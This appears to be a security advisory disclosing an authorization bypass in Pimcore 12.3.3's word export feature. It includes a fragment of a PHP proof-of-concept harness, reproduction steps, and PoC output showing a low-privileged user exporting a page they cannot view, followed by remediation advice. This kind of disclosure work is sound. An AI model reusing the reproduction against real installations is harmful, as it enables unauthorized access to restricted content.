Details
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
### Reproduction Steps
1. Create a low-privileged user named `auditor_wordexport` with only the `word_export` permission and no document workspace permissions.
2. Create a test page at `/poc-wordexport-secret-page` containing sensitive values:
- `title = POC-WORDEXPORT-TITLE`
- `description = POC-WORDEXPORT-DESC`
3. Verify that the user does not have `view` permission on that page.
4. Execute `wordExportAction()` and `wordExportDownloadAction()` as that user.
5. Check whether the exported HTML contains the sensitive values.
Reproduction command:
```bash
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}
This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Remediation
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.